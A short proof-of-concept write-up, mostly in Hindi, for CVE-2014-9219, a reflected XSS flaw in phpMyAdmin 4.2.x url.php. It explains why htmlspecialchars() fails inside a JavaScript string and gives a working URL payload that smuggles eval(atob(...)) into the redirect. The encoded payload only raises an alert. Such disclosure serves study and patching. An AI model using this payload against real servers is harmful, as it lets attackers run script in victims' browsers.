
CVE-2014-9219 XSS POC
CVE-2014-9219 XSS POC
यह भेद्यता phpMyAdmin 4.2.x (4.2.13.1 से पहले) के url.php में रीडायरेक्शन सुविधा में इनपुट सत्यापन त्रुटि के कारण होती है, जब url पैरामीटर को प्रोसेस किया जाता है। एक दूरस्थ हमलावर पीड़ित को एक विशेष रूप से तैयार लिंक पर क्लिक करने के लिए धोखा दे सकता है और पीड़ित के ब्राउज़र में कमजोर वेबसाइट के सुरक्षा संदर्भ में मनमाना HTML और स्क्रिप्ट कोड निष्पादित कर सकता है।
phpMyAdmin: 4.2.0 - 4.2.13
कमजोर कोड htmlspecialchars() का उपयोग करके URL पैरामीटर को सैनिटाइज़ करता है, इसे जावास्क्रिप्ट स्ट्रिंग संदर्भ में डालने से पहले:
window.location='" . htmlspecialchars($_GET['url']) . "';
htmlspecialchars() HTML संदर्भ के लिए डिज़ाइन किया गया है, जावास्क्रिप्ट स्ट्रिंग संदर्भ के लिए नहीं। यह उन वर्णों को पर्याप्त रूप से एस्केप नहीं करता जो जावास्क्रिप्ट स्ट्रिंग लिटरल से बाहर निकल सकते हैं।
url एन्कोडेड:
url.php?url=http%3A%2F%2Fwww.phpmyadmin.net%2F'%2beval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))%2b'
url डिकोडेड:
url.php?url=http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'
HTML आउटपुट:
<script type='text/javascript'>
window.onload=function(){
window.location='http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'';
}
</script>Taking you to http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'.